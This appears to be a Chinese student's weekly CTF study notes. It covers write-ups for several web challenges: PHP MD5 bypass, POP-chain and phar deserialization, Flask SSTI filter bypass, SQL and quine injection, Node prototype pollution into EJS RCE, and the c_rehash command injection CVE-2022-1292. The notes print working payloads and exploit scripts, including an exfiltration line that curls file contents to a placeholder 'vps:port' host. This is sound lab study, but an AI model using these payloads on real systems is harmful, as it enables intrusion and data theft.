WEEK1 学习

WEB

[NSSCTF 2022 Spring Recruit]babyphp

<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

分析代码可以知道得到flag需要满足的条件如下

1、传参数a的方式是POST传参,传入的值不能是0-9,可以使用数组绕过

2、b1和b2需要他们的值不相等但是他们的md5值相等

3、c1和c2的字符串md5值弱相等,不能使用数组绕过了

QNKCDZO
0e830400451993494058024219903391 s878926199a
0e545993274517709034328855841020 s155964671a
0e342768416822451524974117254469 s214587387a
0e848240448830537924465865611904 s214587387a
0e848240448830537924465865611904 s878926199a
0e545993274517709034328855841020
payload:a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s214587387a

[NISACTF 2022]popchains

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/ class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
} public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
} class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
} public function __get($key){
$function = $this->effort;
return $function();
}
}

这题的几个魔术方法

__toString()	当对象在需要转换成字符串时,会调用此方法
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象
__invoke() 把对象当方法用的时候此方法会被调用
__construct() 对象初始化时会调用此方法(对于内核而言是指初始化完成后调用此方法)
__get($name) 获取对象不存在的属性或无法访问的属性时调用

include的执行需要通过__invoke(),它包含的内容来自变量var根据后面的提示应该是要用php伪协议读取flag.php里面的内容

第一步应该执行Make_a_Change__get()来调用Try_Work_Hard__invoke()$effort 指向 Try_Work_Hard 的对象观察 Road_is_Long ,发现可以通过 __toString() 启动 Make_a_Change 中的 __get()

所以 $string 指向 Make_a_Change 的对象这里要对 Road_is_Long new 两个对象出来,一个用于执行 __toString() ,另一个通过 __wakeup() 然后字符串匹配来调用前者

<?php
class Road_is_Long{
   public $page;
   public $string;
   public function __toString(){
       return $this->string->page;
  }
   public function __wakeup(){
       if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
           echo "You can Not Enter 2022";
           $this->page = "index.php";
      }
  }
}
class Try_Work_Hard{
   protected  $var="php://filter/convert.base64-encode/resource=/flag";
   public function append($value){
       include($value);
  }
   public function __invoke(){
       $this->append($this->var);
  }
}
class Make_a_Change{
   public $effort;
   public function __construct(){
       $this->effort = array();
  }
   public function __get($key){
       $function = $this->effort;
       return $function();
  }
}
//开造
$a = new Road_is_Long;
$tmp = new Road_is_Long;
$b = new Try_Work_Hard;
$c = new Make_a_Change;
$c->effort=$b;
$tmp->string=$c;
$a->page=$tmp;
echo serialize($a);

[NCTF 2018]flask真香

发现过滤的很多,存在违禁词时会返回500状态,过滤了:

class
subclasses
config
args
request
open
eval
import

可以找到session对象,并且利用其dict的类型来通过字典的键名(键名为字符串,可拼接)来寻找我们需要的类。

通过字符串拼接来绕过过滤,构造:{{session['cla'+'ss']}}然后不断拼接__bases__[0]来一层一层向上查找基类,直到找到object基类:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}

再利用__subclasses__去访问object基类下的所有子类:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}

我们尝试寻找可以执行命令的子类,主要应该考虑os类,在页面中搜索后找到os._wrap_close类,定位其位置并使用__init__来将其实例化,再使用__globals__来查看所有变量:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}

并且我们也在该类下找到了可以用于执行命令的popen函数:

但是popen也会被过滤,还是使用字符串拼接的方法绕过:

{{""['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}
{{""['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

遇到过滤了的关键字就用拼接来绕过

[SWPUCTF 2021 新生赛]sql

看题目的title发现参数就是wllm,先尝试输入一个数字进去,有回显,应该是一个数字型sql注入

?wllm=1'/**/'order/**/by/**/3#//回显正常,长度为3
?wllm=-1'union/** select/**/1,2,3#//找回显位置
?wllm=-1'union/**/select/**/1,2,database()#//查当前数据库
?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23//查表test_db数据库下的表
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/ information_schema.columns/**/where/**/table_schema/**/like/**/database()#// 查LTLT表下的字段
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag#//得到flag

[西湖论剑 2022]real_ez_node

在index.js里面看到这么一行代码,发现过滤了__proto__,猜测应该是原型链污染,可以使用constructor.prototype绕过。

if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}

/copy路由中发现ip被限制,一开始觉得可以通过改HTTP头来伪造的,但是发现var ip = req.connection.remoteAddress;说明不能用请求头来伪造ip,应该是要用/curl路由发送SSRF来打copy路由了。这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了。

expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},

expand函数存在原型链污染漏洞

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami); for (let index in JSON.parse(payload)) {
safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

因为这个是ejs的,所以可以直接用它的漏洞

{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"} {"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}

编写exp

import requests
import urllib.parse payload = ''' HTTP/1.1 POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 200
Connection: close {"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt');var __tmp2//"} GET / HTTP/1.1
test:'''.replace("\n", "\r\n") def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret payload_enc = payload_encode(payload)
print(payload_enc)
r = requests.get('http://1.14.71.254:28606/curl?q=' + urllib.parse.quote(payload_enc))
print(r.text)

[CISCN 2019华北Day1]Web1

这题一打开是一个登录界面,先注册一个账号进入,发现是一个网盘管理系统,看到上传文件先上传一下,上传了一个图片码,但是找不到路径,利用不了。发现还有一个下载和一个删除操作,在下载的时候抓包发现一个任意文件下载漏洞

  • chdir() 现实目录跳跃,解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php"; chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

发现里面包含的是class.php

<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
public $db; public function __construct() {
global $db;
$this->db = $db;
} public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
} public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
} public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
} public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); $key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]); foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
} public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
} public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function name() {
return basename($this->filename);
} public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
} public function detele() {
unlink($this->filename);
} public function close() {
return file_get_contents($this->filename);
}
}
?>
 public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

看到这个一开始以为可以用sql注入,后来发现USER类里用了bind_param()绑定了username这个变量,所以是不存在sql注入的

class.php里面找到了file_get_content这个函数,发现这个函数在另外两个里面也用到了,if判断里存在open方法,且该方法存在file_exists可以触发反序列化,但是由于不允许有flag字符,所以不能用close()方法来进行任意文件读取,这也说明找准了做题的思路。

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。

当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __call($func, $args)函数,其中$func=Name。然后让

$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。

foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
  • foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
  • foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
  • echo table 最后打印出来全部数据
<?php
class User {
public $db;
}
class File{
public $filename = '/flag.txt';
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
} $o = new User();
$o->db =(new FileList());
echo serialize($o); $phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成phar文件改后缀为jpg,在delete操作中用phar协议读取。

[2021第五空间智能安全大赛] yet_another_mysql_injection

打开题目是一个登录页面,f12发现提示,得到源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
} function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
} if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
} if(isset($_GET['source'])){
show_source(__FILE__);
die;
}

分析源码发现只有password这个是可控的,但是在看下去发现要输入的和数据库里面的完全一致才能得到flag,尝试一下密码爆破结果成功了

sleep 可以用benchmark代替

<,> 可以用least(),greatest()代替

=,in 可以用like代替

substr 可以用mid代替

空格 可以用/**/代替
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28725/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

后来看了一下别人的wp发现好像不是这么做的0.0,用的是quine注入,正好借此学习了一下这个注入方式。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证$row['password'] === $password

replace(object,search,replace)
把object对象中出现的search全部替换成replace CHAR(34)="
CHAR(39)='
CHAR(46)=. select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+ mysql> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
Quine基本形式:

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的".")

replace(replace(".",char(34),char(39)),char(46),".")

完整的Quine就是Quine基本形式+str基本形式
payload:1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

[CISCN 2022 初赛] online_crt

CVE-2022-1292,主要思路就是生成证书之后,去利用proxy路由请求go server去修改证书的名称为反引号包裹的命令,然后再去访问Python的createlink路由从而调用c_rehash来触发RCE

下载压缩包看app.py源码,给了四个路由/getcrt这个是生成证书的路径,/createlink这个里面用了一个c_rehash的命令,不知道是什么意思,倒是搜出来了一堆的wp,/proxy路由由用户构造报文,可以crlf,附件中还给了goserver看看源码

/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务 @app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html") @app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data) @app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close '''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
c_rehash

题目中出现了 c_rehash

c_rehash是openssl中的一个用perl编写的脚本工具

用于批量创建证书等文件 hash命名的符号链接

最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)

经过搜索网上并没有公开的exp

只能通过diff进行分析

https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8

这个地方对文件名的过滤不严格,没有过滤反引号就直接将文件名拼接到了命令里面

sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_crl($fname) if ($crl);
}
}

发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容

文件内容必须包含证书或者是吊销列表才能通过检查

利用条件
  1. 执行c_rehash 目标目录下文件可控
  2. 文件后缀符合要求
  3. 文件内容必须包含证书或者是吊销列表
  4. 文件名可控

题目中生成证书的功能可以创建一个满足要求的文件

继续看源码,go后端有一个admin路由,用于重命名证书文件

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
} c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host )
}

为了实现可控的文件名 我们需要调用go的重命名功能,go的路由在重命名前有两个校验,c.Request.URL.RawPath != “” && c.Request.Host == “admin”,首先需要绕过这两个验证

Request.URL.RawPath需要我们的路由中存在有编码的内容才有数据,所以尝试构造包

python 在代理请求时直接使用了socket 发送raw数据包,在数据包{uri}处没有过滤,所以我们可以直接在uri注入一个host头来替换原先的头

构造利用链

1、请求/getcrt路由,生成一个证书,返回证书路径

2、请求 /proxy 修改证书名为恶意文件名

3、请求/createlink 触发 c_rehash RCE

payload:uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj.crt

最后curl一下static/crt/jnyghj得到flag

2023-3-6 WEEK1 学习的更多相关文章

  1. 【DeepLearning学习笔记】Coursera课程《Neural Networks and Deep Learning》——Week1 Introduction to deep learning课堂笔记

    Coursera课程<Neural Networks and Deep Learning> deeplearning.ai Week1 Introduction to deep learn ...

  2. 吴恩达《深度学习》-课后测验-第三门课 结构化机器学习项目(Structuring Machine Learning Projects)-Week1 Bird recognition in the city of Peacetopia (case study)( 和平之城中的鸟类识别(案例研究))

    Week1 Bird recognition in the city of Peacetopia (case study)( 和平之城中的鸟类识别(案例研究)) 1.Problem Statement ...

  3. HGAME 2023 WP week1

    WEEK1 web Classic Childhood Game 一眼顶真,直接翻js文件,在Events.js中找到mota(),猜测是获取flag,var a = ['\x59\x55\x64\x ...

  4. 如何在2023年学习React

    在2023年学习React并不是一件容易的事情.自2019年React Hooks发布以来,我们已经拥有了很多稳定性,但现在形势正在再次变化.而这次变化可能比使用React Hooks时更加不稳定.在 ...

  5. DeepLearning.ai学习笔记(四)卷积神经网络 -- week1 卷积神经网络基础知识介绍

    一.计算机视觉 如图示,之前课程中介绍的都是64* 64 3的图像,而一旦图像质量增加,例如变成1000 1000 * 3的时候那么此时的神经网络的计算量会巨大,显然这不现实.所以需要引入其他的方法来 ...

  6. deeplearning.ai 改善深层神经网络 week1 深度学习的实用层面 听课笔记

    1. 应用机器学习是高度依赖迭代尝试的,不要指望一蹴而就,必须不断调参数看结果,根据结果再继续调参数. 2. 数据集分成训练集(training set).验证集(validation/develop ...

  7. deeplearning.ai 神经网络和深度学习 week1 深度学习概论 听课笔记

    1. 预测房价.广告点击率:典型的神经网络,standard NN. 图像:卷积神经网络,CNN. 一维序列数据,如音频,翻译:循环神经网络,RNN. 无人驾驶,涉及到图像.雷达等更多的数据类型:混合 ...

  8. DeepLearning.ai学习笔记(五)序列模型 -- week1 循环序列模型

    一.为什么选择序列模型 序列模型可以用于很多领域,如语音识别,撰写文章等等.总之很多优点... 二.数学符号 为了后面方便说明,先将会用到的数学符号进行介绍. 以下图为例,假如我们需要定位一句话中人名 ...

  9. 吴恩达-coursera-机器学习-week1

    一.引言(Introduction) 1.1 欢迎 1.2 机器学习是什么? 1.3 监督学习 1.4 无监督学习 二.单变量线性回归(Linear Regression with One Varia ...

  10. 【网页开发学习】Coursera课程《面向 Web 开发者的 HTML、CSS 与 Javascript》Week1课堂笔记

    Coursera课程<面向 Web 开发者的 HTML.CSS 与 Javascript> Johns Hopkins University Yaakov Chaikin Week1 In ...

随机推荐

  1. node+appium安装

      node是什么: node全称Node.js,是一个基于Chrome V8引擎的JavaScript运行环境,一个让JavaScript 运行在服务端的开发平台:它让JavaScript成为与PH ...

  2. 2.27总结——JDBC学习

    今天初步了解了Javaweb的JDBC,了解其基础语句,以及连接数据库的方式,但是自我感觉很抽象,实际上手仍有些困难,需要参考模板,增删改查目前进度在增和查,继续努力,争取本学期尽快跟上同学学习进度!

  3. Caused by: java.lang.NoSuchMethodError

    ERROR [localhost-startStop-1] - Context initialization failedorg.springframework.beans.factory.BeanD ...

  4. VsCode新建Java、SpringBoot、Python、JavaWeb项目的基本步骤

    新建Java项目 选中正上方的搜索框,按下F1快捷键,输入create Java,即可出现这样的一个命令: 选中这个: 然后为新创建的项目选择一个合适的位置就好啦! 新建SpringBoot项目 选中 ...

  5. RBAC学习(一)

    0.前提 :用户只有一个直属部门,但角色可以关联多个部门 有一种情况就不太适用:比如说地区经理是一个角色,张三是北京市地区经理,他在组织架构中的直属部门是华北大区,然后一个黑龙江的销售李四提一个折扣申 ...

  6. 使用python自动监控程序运行过程数据

    操作系统 :CentOS 7.6.1810_x64 Python 版本 : 2.7.5 一.背景描述 工作中会遇到需要监控程序运行过程数据的情况,比如定时执行监控的cmd并记录执行结果,本文提供一种实 ...

  7. JUC源码学习笔记8——ConcurrentHashMap源码分析1 如何实现低粒度锁的插入,如何实现统计元素个数,如何实现并发扩容迁移

    源码基于jdk1.8 这一片主要讲述ConcurrentHashMap如何实现低粒度锁的插入,如何实现统计元素个数,如何实现并发扩容迁移 系列文章目录和关于我 一丶ConcurrentHashMap概 ...

  8. koa中间件的实现原理

    koa中间件的实现原理如何?先来看一个例子. koa的执行顺序是这样的: const middleware = async function (ctx, next) { console.log(1) ...

  9. vue 前端项目创建

    一.创建项目 将vue-admin-template-master 模板放入创建的 VS code 的工作空间.重命名为自己的项目. 模块获取方法:关注"Java程序员进阶",回复 ...

  10. Java (强/弱/软/虚)引用

    一.整体架构